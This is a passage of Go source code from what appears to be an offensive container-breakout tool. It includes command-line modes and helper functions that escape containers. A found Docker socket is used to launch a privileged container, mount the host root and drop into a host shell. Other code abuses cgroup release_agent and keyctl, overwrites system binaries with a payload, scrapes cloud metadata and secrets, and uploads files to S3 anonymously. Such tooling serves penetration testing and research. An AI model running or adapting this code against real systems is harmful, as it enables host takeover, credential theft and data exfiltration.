65 | scrapeGcpMeta = flag.Bool("scrape-gcp", false, "Attempt to scrape the GCP metadata service")
66 | cgroupPtr = flag.String("pwn-privileged", "nil", "Provide a command payload to try exploit --privilege CGROUP release_agent's")
67 | alwaysSucceedPtr = flag.Bool("always-succeed", false, "Always set BOtB's Exit code to Zero")
68 | configPtr = flag.String("config", "nil", "Load config from provided yaml file")
69 | revDNSPtr = flag.String("rev-dns", "nil", "Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24")
70 | k8secrets = flag.Bool("k8secrets", false, "Identify and Verify K8's Secrets")
71 |
72 | pwnKeyctl = flag.Bool("pwnKeyctl", false, "Abuse keyctl syscalls and extract data from Linux Kernel keyrings")
73 | keyMin = flag.Int("keyMin", 1, " Minimum key id range (default 1)")
74 | keyMax = flag.Int("keyMax", 100000000, " Maximum key id range (default 100000000) and max system value is 999999999")
75 |
76 | flag.Parse()
77 |
78 | if *configPtr != "nil" {
79 | //prep the config with some defaults
80 | cfg := Config{Path: ".", Verbose: false, Cicd: false, Payload: "nil"}
81 |
82 | cfg, err := loadConfig(*configPtr, cfg)
83 | if err != nil {
84 | fmt.Println("[ERROR] Loading config", err)
85 | return
86 | }
87 | *verbosePtr = cfg.Verbose
88 | runCfgArgs(cfg)
89 |
90 | } else {
91 | runCMDArgs()
92 | }
93 |
94 | fmt.Println("[+] Finished")
95 | if *alwaysSucceedPtr {
96 | os.Exit(0)
97 | } else {
98 | os.Exit(exitCode)
99 | }
100 | }
101 |
102 | func loadConfig(configPath string, config Config) (Config, error) {
103 | fmt.Println("[+] Loading Config:", configPath)
104 | source, err := ioutil.ReadFile(configPath)
105 | if err != nil {
106 | return config, err
107 | }
108 | err = yaml.Unmarshal(source, &config)
109 | if err != nil {
110 | return config, err
111 | }
112 | return config, nil
113 | }
114 |
115 | func runCfgArgs(cfg Config) {
116 | switch cfg.Mode {
117 | case "find-sockets":
118 | findDomainSockets(cfg.Path)
119 | case "find-http":
120 | findHttpSockets(cfg.Path)
121 | case "find-docker":
122 | findDockerD()
123 | case "metadata":
124 | checkMetadataServices(cfg.Endpoints)
125 | case "autopwn":
126 | autopwn(cfg.Path, cfg.Cicd)
127 | case "recon":
128 | fmt.Println("[+] Performing Container Recon")
129 | checkProcEnviron(cfg.WordList)
130 | checkEnvVars(cfg.WordList)
131 | case "scrape-gcp":
132 | scrapeMetadataEndpoints(cfg.Endpoints)
133 | case "hijack":
134 | hijackBinaries(cfg.Payload)
135 | case "aggr":
136 | runcPwn(cfg.Payload)
137 | case "pwn-privileged":
138 | abuseCgroupPriv(cfg.Payload)
139 | case "pwn-keyctl":
140 | pwnKeyCtl(cfg.Max, cfg.Min)
141 | default:
142 | fmt.Println("[!] Invalid mode provided")
143 | }
144 | }
145 |
146 | func runCMDArgs() {
147 |
148 | if *pwnKeyctl {
149 | pwnKeyCtl(*keyMin, *keyMax)
150 | }
151 |
152 | if *k8secrets {
153 | idenitfyVerifyK8Secrets()
154 | }
155 |
156 | if *cgroupPtr != "nil" {
157 | abuseCgroupPriv(*cgroupPtr)
158 | }
159 |
160 | if *scrapeGcpMeta {
161 | scrapeMetadataEndpoints(*endpointList)
162 | }
163 |
164 | if *pushToS3ptr != "nil" {
165 | if *s3BucketPtr == "nil" {
166 | fmt.Println("[!] Please provide a bucket name")
167 | return
168 | }
169 | if *awsRegionPtr == "nil" {
170 | fmt.Println("[!] Please provide a region")
171 | return
172 | }
173 | testUploadOfS3(*pushToS3ptr, *s3BucketPtr, *awsRegionPtr)
174 | }
175 |
176 | if *findDockerdPtr {
177 | findDockerD()
178 | }
179 |
180 | if *huntHttpPtr {
181 | findHttpSockets(*pathPtr)
182 | }
183 |
184 | if *hijackPtr != "nil" {
185 | hijackBinaries(*hijackPtr)
186 | }
187 |
188 | if *aggressivePtr != "nil" {
189 | runcPwn(*aggressivePtr)
190 | }
191 |
192 | if *reconPtr {
193 | fmt.Println("[+] Performing Container Recon")
194 | checkProcEnviron(*wordlistPtr)
195 | checkEnvVars(*wordlistPtr)
196 | }
197 |
198 | if *metaDataPtr {
199 | checkMetadataServices(*endpointList)
200 | }
201 |
202 | if *autopwnPtr {
203 | autopwn(*pathPtr, *cicdPtr)
204 | }
205 |
206 | if *huntSockPtr {
207 | fmt.Println("[+] Hunting Down UNIX Domain Sockets from:", *pathPtr)
208 | sockets, _ := getValidSockets(*pathPtr)
209 | for _, element := range sockets {
210 | fmt.Println("[!] Valid Socket: " + element)
211 | exitCode = 1
212 | }
213 | }
214 |
215 | if *revDNSPtr != "nil" {
216 | reverseDNS(*revDNSPtr)
217 | }
218 | }
219 |
--------------------------------------------------------------------------------
/utils.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "archive/tar"
5 | "bufio"
6 | "bytes"
7 | "compress/gzip"
8 | "crypto/tls"
9 | "fmt"
10 | "io"
11 | "io/ioutil"
12 | "log"
13 | "math/rand"
14 | "net"
15 | "net/http"
16 | "os"
17 | "os/exec"
18 | "os/signal"
19 | "path/filepath"
20 | "strconv"
21 | "strings"
22 | "syscall"
23 | "time"
24 |
25 | "github.com/aws/aws-sdk-go/aws"
26 | "github.com/aws/aws-sdk-go/aws/credentials"
27 | "github.com/aws/aws-sdk-go/aws/session"
28 | "github.com/aws/aws-sdk-go/service/s3/s3manager"
29 | "github.com/creack/pty"
30 | "github.com/tv42/httpunix"
31 | "golang.org/x/crypto/ssh/terminal"
32 | )
33 |
34 | func fileExists(filename string) bool {
35 | info, err := os.Stat(filename)
36 | if os.IsNotExist(err) {
37 | return false
38 | }
39 | return !info.IsDir()
40 | }
41 |
42 | func httpRequestBearer(url, token string) (int, error) {
43 |
44 | if *verbosePtr {
45 | fmt.Println("[*] Making HTTP Request:", url)
46 | }
47 |
48 | transport := &http.Transport{
49 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
50 | }
51 |
52 | var bearer = "Bearer " + token
53 |
54 | req, err := http.NewRequest("GET", url, nil)
55 | req.Header.Add("Authorization", bearer)
56 |
57 | timeout := time.Duration(2 * time.Second)
58 | client := http.Client{
59 | Timeout: timeout,
60 | Transport: transport,
61 | }
62 | resp, err := client.Do(req)
63 | if err != nil {
64 | return 0, err
65 | }
66 | defer resp.Body.Close()
67 | return resp.StatusCode, nil
68 |
69 | }
70 |
71 | func generateRandomString(len int) string {
72 | rand.Seed(time.Now().UTC().UnixNano())
73 | bytes := make([]byte, len)
74 | for i := 0; i < len; i++ {
75 | bytes[i] = byte(65 + rand.Intn(25))
76 | }
77 | return string(bytes)
78 | }
79 |
80 | func scrapeGcpMetadata(host, port string) (string, error) {
81 | connStr := fmt.Sprintf("%s:%s", host, port)
82 | d := net.Dialer{Timeout: time.Second * 5}
83 |
84 | fmt.Println("[+] Attempting to connect to: ", connStr)
85 | conn, err := d.Dial("tcp", connStr)
86 | if err != nil {
87 | return "", err
88 | }
89 | fmt.Fprintf(conn, "GET / HTTP/1.0\r\n\r\n")
90 | var buf bytes.Buffer
91 | bytesWritten, err := io.Copy(&buf, conn)
92 | if err != nil {
93 | return "", err
94 | }
95 | fmt.Printf("[*] Bytes received from metadata: %d\n", bytesWritten)
96 | return buf.String(), nil
97 | }
98 |
99 | func testUploadOfS3(fileToPush, s3Bucket, s3Region string) {
100 | fmt.Printf("[+] Pushing %s to -> %s\n", fileToPush, s3Bucket)
101 |
102 | s, err := session.NewSession(&aws.Config{
103 | Region: aws.String(s3Region),
104 | Credentials: credentials.AnonymousCredentials,
105 | })
106 |
107 | if err != nil {
108 | fmt.Println("[ERROR] ", err)
109 | }
110 |
111 | err = s3Push(s, fileToPush, s3Bucket)
112 | if err != nil {
113 | fmt.Println("[ERROR] ", err)
114 | }
115 | }
116 |
117 | func s3Push(s *session.Session, filename, s3Bucket string) error {
118 | uploader := s3manager.NewUploader(s)
119 |
120 | file, err := os.Open(filename)
121 | if err != nil {
122 | return fmt.Errorf("failed to open file %q, %v", filename, err)
123 | }
124 |
125 | result, err := uploader.Upload(&s3manager.UploadInput{
126 | Bucket: aws.String(s3Bucket),
127 | Key: aws.String(filename),
128 | Body: file,
129 | })
130 | if err != nil {
131 | return fmt.Errorf("failed to upload file, %v", err)
132 | }
133 |
134 | fmt.Println("[*] Data uploaded to:", *aws.String(result.Location))
135 |
136 | return nil
137 | }
138 |
139 | func getGcpMetada() {
140 | fmt.Println("[+] Attempting to get GCP Metadata")
141 | }
142 |
143 | func execDocker(dockerSockPath string) error {
144 | cmd := "./docker/docker -H unix://" + dockerSockPath + " run docker id"
145 | out, err := exec.Command("sh", "-c", cmd).Output()
146 | if err != nil {
147 | return err
148 | }
149 | if *verbosePtr {
150 | fmt.Printf("[*] Command Output: %s\n", string(out[:]))
151 | }
152 | exitCode = 1
153 | return nil
154 | }
155 |
156 | func autopwnDocker(dockerSock string, cicd bool) error {
157 | fmt.Println("[+] Attempting to autopwn: ", dockerSock)
158 |
159 | _, err := os.Stat("docker/docker")
160 | fileUrl := "https://download.docker.com/linux/static/stable/x86_64/docker-18.09.2.tgz"
161 | if err != nil {
162 | if *verbosePtr {
163 | fmt.Println("[*] Getting Docker client...")
164 | }
165 | if err := downloadFile("docker-18.09.2.tgz", fileUrl); err != nil {
166 | return err
167 | }
168 | }
169 |
170 | file, err := os.Open("docker-18.09.2.tgz")
171 | if err != nil {
172 | return err
173 | }
174 | err = untar(".", file)
175 | if err != nil {
176 | return err
177 | }
178 | if *verbosePtr {
179 | fmt.Println("[*] Successfully got Docker client...")
180 | }
181 | fmt.Println("[+] Attempting to escape to host...")
182 | if cicd {
183 | if *verbosePtr {
184 | fmt.Println("[+] Attempting in CICD Mode")
185 | }
186 | err := execDocker(dockerSock)
187 | if err != nil {
188 | fmt.Println("[*] Failed to escape container")
189 | return err
190 | }
191 | fmt.Println("[!] Successfully escaped container")
192 | } else {
193 | fmt.Println("[+] Attempting in TTY Mode")
194 | err := dropToTTY(dockerSock)
195 | if err != nil {
196 | return err
197 | }
198 | fmt.Println("[*] Successfully exited TTY")
199 | }
200 | return nil
201 | }
202 |
203 | func huntDomainSockets() {
204 | fmt.Println("[+] Hunting Down UNIX Domain Sockets from:", *pathPtr)
205 | sockets, _ := getValidSockets(*pathPtr)
206 | for _, element := range sockets {
207 | fmt.Println("[!] Found Valid UNIX Domain Socket: ", element)
208 | }
209 | }
210 |
211 | func checkForJuicyDeets(wordlist string, data string, terms []string) bool {
212 | if wordlist != "nil" {
213 | for _, term := range terms {
214 | if strings.Contains(strings.ToLower(data), strings.ToLower(term)) {
215 | return true
216 | }
217 | }
218 | } else {
219 | if strings.Contains(strings.ToLower(data), "password") || strings.Contains(strings.ToLower(data), "secret") {
220 | return true
221 | }
222 | return false
223 | }
224 | return false
225 | }
226 |
227 | func execShellCmd2(command string, args ...string) error {
228 | cmd := exec.Command(command, args...)
229 | if *verbosePtr {
230 | fmt.Println("[*] Running command and waiting to finish")
231 | }
232 | err := cmd.Run()
233 | if err != nil {
234 | return err
235 | }
236 | return nil
237 | }
238 |
239 | func execShellCmd(cmd string) (string, error) {
240 | out, err := exec.Command("sh", "-c", cmd).Output()
241 | if err != nil {
242 | return string(out[:]), err
243 | }
244 | return string(out[:]), nil
245 | }
246 |
247 | func performHttpGetRequest(url string) (int, error) {
248 | timeout := time.Duration(3 * time.Second)
249 |
250 | tr := &http.Transport{
251 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
252 | }
253 |
254 | client := http.Client{
255 | Timeout: timeout,
256 | Transport: tr,
257 | }
258 | resp, err := client.Get(url)
259 | if err != nil {
260 | return 0, err
261 | }
262 | defer resp.Body.Close()
263 | return resp.StatusCode, nil
264 | }
265 |
266 | func getLinesFromFile(path string) ([]string, error) {
267 | fmt.Println("[*] Loading entries from:", path)
268 | var lines []string
269 | inFile, err := os.Open(path)
270 | if err != nil {
271 | return nil, err
272 | }
273 | defer inFile.Close()
274 | scanner := bufio.NewScanner(inFile)
275 | scanner.Split(bufio.ScanLines)
276 | for scanner.Scan() {
277 | lines = append(lines, scanner.Text())
278 | }
279 | return lines, nil
280 | }
281 |
282 | func queryEndpoint(url string) bool {
283 | fmt.Printf("[*] Attempting to query metadata endpoint: '%s'\n", url)
284 | respCode, err := performHttpGetRequest(url)
285 | if err != nil {
286 | if *verbosePtr {
287 | fmt.Println("[ERROR]", err)
288 | }
289 | }
290 | if respCode > 0 {
291 | fmt.Printf("[!] Reponse from '%s' -> %d\n", url, respCode)
292 | return true
293 | }
294 | return false
295 | }
296 |
297 | func processCmdLine() {
298 | var found int
299 | for found == 0 {
300 | pids, err := ioutil.ReadDir("/proc")
301 | if err != nil {
302 | fmt.Println(err)
303 | return
304 | }
305 | for _, f := range pids {
306 | fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
307 | fstring := string(fbytes)
308 | if strings.Contains(fstring, "runc") {
309 | fmt.Println("[+] Found the PID:", f.Name())
310 | found, err = strconv.Atoi(f.Name())
311 | if err != nil {
312 | fmt.Println(err)
313 | return
314 | }
315 | }
316 | }
317 | }
318 | }
319 |
320 | func copyFile(src, dst string) error {
321 | if *verbosePtr {
322 | fmt.Printf("[!] Copying %s -> %s\n", src, dst)
323 | }
324 |
325 | in, err := os.Open(src)
326 | if err != nil {
327 | return err
328 | }
329 | defer in.Close()
330 |
331 | out, err := os.Create(dst)
332 | if err != nil {
333 | return err
334 | }
335 | defer out.Close()
336 |
337 | _, err = io.Copy(out, in)
338 | if err != nil {
339 | return err
340 | }
341 | return out.Close()
342 | }
343 |
344 | func createFile(filename, data string) error {
345 | if *verbosePtr {
346 | fmt.Println("[*] Creating file: ", filename)
347 | }
348 | f, err := os.Create(filename)
349 | if err != nil {
350 | fmt.Println(err)
351 | return err
352 | }
353 | l, err := f.WriteString(data)
354 | if err != nil {
355 | fmt.Println(err)
356 | f.Close()
357 | return err
358 | }
359 | if *verbosePtr {
360 | fmt.Println(l, "[*] Bytes written successfully")
361 | }
362 |
363 | err = f.Close()
364 | if err != nil {
365 | fmt.Println(err)
366 | return err
367 | }
368 | return nil
369 | }
370 |
371 | func hijackDirectory(dir, command string) {
372 | fmt.Println("[+] Currently hijacking: ", dir)
373 | files, err := ioutil.ReadDir(dir)
374 | if err != nil {
375 | log.Fatal(err)
376 | }
377 | if *verbosePtr {
378 | fmt.Printf("[*] Number of binaries identified: %d\n", len(files))
379 | }
380 | hijackCount := 0
381 | for _, file := range files {
382 |
383 | if strings.ToLower(file.Name()) == "busybox" || strings.ToLower(file.Name()) == "sh" || strings.ToLower(file.Name()) == "dash" ||
384 | strings.ToLower(file.Name()) == "ls" || strings.ToLower(file.Name()) == "echo" || strings.ToLower(file.Name()) == "chmod" ||
385 | strings.ToLower(file.Name()) == "bash" || strings.ToLower(file.Name()) == "cp" || strings.ToLower(file.Name()) == "compgen" ||
386 | strings.ToLower(file.Name()) == "rm" || strings.ToLower(file.Name()) == "mv" || strings.ToLower(file.Name()) == "which" ||
387 | strings.ToLower(file.Name()) == "curl" || strings.ToLower(file.Name()) == "chown" || strings.ToLower(file.Name()) == "cat" {
388 | fmt.Println("[*] Skipping-> ", file.Name())
389 | } else {
390 |
391 | if *verbosePtr {
392 | fmt.Println("[*] Hijacking -> ", file.Name())
393 | }
394 |
395 | err := createFile(file.Name(), command)
396 | if err != nil {
397 | fmt.Println("[*] Error creating tmp file->", err)
398 | err = execShellCmd2("rm", file.Name())
399 | if err != nil {
400 | fmt.Println("[*] Error cleaning up->", err)
401 | }
402 | continue
403 | }
404 |
405 | err = execShellCmd2("rm", fmt.Sprintf("%s/%s", dir, file.Name()))
406 | if err != nil {
407 | if *verbosePtr {
408 | fmt.Println("[*] Error deleting binary file->", err)
409 | }
410 | err = execShellCmd2("rm", file.Name())
411 | if err != nil {
412 | fmt.Println("[*] Error cleaning up->", err)
413 | }
414 | continue
415 | }
416 |
417 | err = copyFile(file.Name(), fmt.Sprintf("%s/%s", dir, file.Name()))
418 | if err != nil {
419 | fmt.Println("[*] Error copying file->", err)
420 | continue
421 | }
422 |
423 | err = execShellCmd2("chmod", "+x", fmt.Sprintf("%s/%s", dir, file.Name()))
424 | if err != nil {
425 | fmt.Println("[*] Error chmoding file->", err)
426 | continue
427 | }
428 |
429 | err = execShellCmd2("rm", file.Name())
430 | if err != nil {
431 | fmt.Println("[*] Error cleaning up->", err)
432 | continue
433 | }
434 | if err == nil {
435 | fmt.Println("[*] Successfully Hijacked -> ", file.Name())
436 | hijackCount++
437 | }
438 | }
439 | }
440 | fmt.Println("[+] Files Hijacked: ", hijackCount)
441 | }
442 |
443 | func findDomainSockets(path string) {
444 | fmt.Println("[+] Looking for UNIX Domain Sockets from:", path)
445 | sockets, _ := getValidSockets(path)
446 | for _, element := range sockets {
447 | fmt.Println("[!] Valid Socket: " + element)
448 | exitCode = 1
449 | }
450 | }
451 |
452 | func checkForDockerEnvSock() (string, bool) {
453 | fmt.Println("[*] Looking for Docker ENV variables")
454 | for _, envVar := range os.Environ() {
455 | if strings.Contains(strings.ToUpper(envVar), "DOCKER_HOST") {
456 | return envVar[strings.Index(envVar, "=")+1:], true
457 | }
458 | }
459 | return "", false
460 | }
461 |
462 | func downloadFile(filepath string, url string) error {
463 | transport := &http.Transport{
464 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
465 | }
466 | client := &http.Client{Transport: transport}
467 | resp, err := client.Get(url)
468 | if err != nil {
469 | return err
470 | }
471 |
472 | defer resp.Body.Close()
473 | out, err := os.Create(filepath)
474 | if err != nil {
475 | return err
476 | }
477 | defer out.Close()
478 | _, err = io.Copy(out, resp.Body)
479 | return err
480 | }
481 |
482 | func dropToTTY(dockerSockPath string) error {
483 | // this code has been copy+pasted directly from https://github.com/kr/pty, it's that awesome
484 | cmd := "./docker/docker -H unix://" + dockerSockPath + " run -ti --privileged --net=host --pid=host --ipc=host -v /:/host alpine:latest /bin/sh"
485 | //additional check for userns-remap enabled or not, if yes, drop the --net, --pid and --ipc options as the host's namespace not accesible
486 | file, err := os.Open("/proc/self/uid_map")
487 | if err != nil {
488 | log.Fatal(err)
489 | }
490 |
491 | defer file.Close()
492 |
493 | scanner := bufio.NewScanner(file)
494 | for scanner.Scan() {
495 | if strings.Fields(scanner.Text())[1] != "0" {
496 | cmd = "./docker/docker -H unix://" + dockerSockPath + " run -ti -v /:/host alpine:latest /bin/sh"
497 | }
498 | }
499 | if err := scanner.Err(); err != nil {
500 | log.Fatal(err)
501 | }
502 |
503 | fmt.Println(cmd)
504 | c := exec.Command("sh", "-c", cmd)
505 |
506 | // Start the command with a pty.
507 | ptmx, err := pty.Start(c)
508 | if err != nil {
509 | return err
510 | }
511 |
512 | // Make sure to close the pty at the end.
513 | defer func() { _ = ptmx.Close() }() // Best effort.
514 |
515 | // Handle pty size.
516 | ch := make(chan os.Signal, 1)
517 | signal.Notify(ch, syscall.SIGWINCH)
518 | go func() {
519 | for range ch {
520 | if err := pty.InheritSize(os.Stdin, ptmx); err != nil {
521 | log.Printf("error resizing pty: %s", err)
522 | }
523 | }
524 | }()
525 | ch <- syscall.SIGWINCH // Initial resize.
526 | go func() {
527 | ptmx.Write([]byte("chroot /host && clear\n"))
528 | }()
529 |
530 | // Set stdin in raw mode.
531 | oldState, err := terminal.MakeRaw(int(os.Stdin.Fd()))
532 | if err != nil {
533 | panic(err)
534 | }
535 | defer func() { _ = terminal.Restore(int(os.Stdin.Fd()), oldState) }() // Best effort.
536 |
537 | go func() {
538 | ptmx.Write([]byte("echo 'You are now on the underlying host'\n"))
539 | }()
540 | // Copy stdin to the pty and the pty to stdout.
541 | go func() { _, _ = io.Copy(ptmx, os.Stdin) }()
542 | _, _ = io.Copy(os.Stdout, ptmx)
543 | return nil
544 | }
545 |
546 | func untar(dst string, r io.Reader) error {
547 | // this code has been copy pasted from this great gist https://gist.github.com/sdomino/635a5ed4f32c93aad131#file-untargz-go
548 | gzr, err := gzip.NewReader(r)
549 | if err != nil {
550 | return err
551 | }
552 | defer gzr.Close()
553 | tr := tar.NewReader(gzr)
554 | for {
555 | header, err := tr.Next()
556 | switch {
557 | // if no more files are found return
558 | case err == io.EOF:
559 | return nil
560 | // return any other error
561 | case err != nil:
562 | return err
563 | // if the header is nil, just skip it (not sure how this happens)
564 | case header == nil:
565 | continue
566 | }
567 | // the target location where the dir/file should be created
568 | target := filepath.Join(dst, header.Name)
569 | // check the file type
570 | switch header.Typeflag {
571 |
572 | // if its a dir and it doesn't exist create it
573 | case tar.TypeDir:
574 | if _, err := os.Stat(target); err != nil {
575 | if err := os.MkdirAll(target, 0755); err != nil {
576 | return err
577 | }
578 | }
579 | // if it's a file create it
580 | case tar.TypeReg:
581 | f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
582 | if err != nil {
583 | return err
584 | }
585 | // copy over contents
586 | if _, err := io.Copy(f, tr); err != nil {
587 | return err
588 | }
589 | // manually close here after each file operation; defering would cause each file close
590 | // to wait until all operations have completed.
591 | f.Close()
592 | }
593 | }
594 | }
595 |
596 | func getDockerEnabledSockets(socks []string) []string {
597 | fmt.Println("[+] Hunting Docker Socks")
598 | var dockerSocks []string
599 | for _, element := range socks {
600 | resp, err := checkSock(element)
601 | if err == nil {
602 | if resp.StatusCode >= 200 && resp.StatusCode <= 299 {
603 | dockerSocks = append(dockerSocks, element)
604 | if *verbosePtr {
605 | fmt.Println("[+] Valid Docker Socket: " + element)
606 | }
607 | } else {
608 | if *verbosePtr {
609 | fmt.Println("[+] Invalid Docker Socket: " + element)
610 | }
611 | }
612 | defer resp.Body.Close()
613 | } else {
614 | if *verbosePtr {
615 | fmt.Println("[+] Invalid Docker Socket: " + element)
616 | }
617 | }
618 | }
619 | return dockerSocks
620 | }
621 |
622 | func getHTTPEnabledSockets(socks []string) []string {
623 | var httpSocks []string
624 | for _, element := range socks {
625 | _, err := checkSock(element)
626 | if err == nil {
627 | httpSocks = append(httpSocks, element)
628 | if *verbosePtr {
629 | fmt.Println("[+] Valid HTTP Socket: " + element)
630 | }
631 | } else {
632 | if *verbosePtr {
633 | fmt.Println("[+] Invalid HTTP Socket: " + element)
634 | }
635 | }
636 | }
637 | return httpSocks
638 | }
639 |
640 | func walkpath(path string, info os.FileInfo, err error) error {
641 | if err != nil {
642 | if *verbosePtr {
643 | fmt.Println("[ERROR]: ", err)
644 | }
645 | } else {
646 | switch mode := info.Mode(); {
647 | case mode&os.ModeSocket != 0:
648 | validSocks = append(validSocks, path)
649 | default:
650 | if *verbosePtr {
651 | fmt.Println("[*] Invalid Socket: " + path)
652 | }
653 | }
654 | }
655 | return nil
656 | }
657 |
658 | func getValidSockets(startPath string) ([]string, error) {
659 | validSocks = nil
660 | err := filepath.Walk(startPath, walkpath)
661 | if err != nil {
662 | if *verbosePtr {
663 | fmt.Println("[ERROR]: ", err)
664 | }
665 | return nil, err
666 | }
667 | return validSocks, nil
668 | }
669 |
670 | func checkSock(path string) (*http.Response, error) {
671 | if *verbosePtr {
672 | fmt.Println("[-] Checking Sock for HTTP: " + path)
673 | }
674 |
675 | u := &httpunix.Transport{
676 | DialTimeout: 100 * time.Millisecond,
677 | RequestTimeout: 1 * time.Second,
678 | ResponseHeaderTimeout: 1 * time.Second,
679 | }
680 | u.RegisterLocation("dockerd", path)
681 | var client = http.Client{
682 | Transport: u,
683 | }
684 | resp, err := client.Get("http+unix://dockerd/info")
685 |
686 | if resp == nil {
687 | return nil, err
688 | }
689 | return resp, nil
690 | }
691 |
692 | func debug(data []byte, err error) {
693 | if err == nil {
694 | fmt.Printf("%s\n\n", data)
695 | } else {
696 | log.Fatalf("%s\n\n", err)
697 | }
698 | }
699 |
--------------------------------------------------------------------------------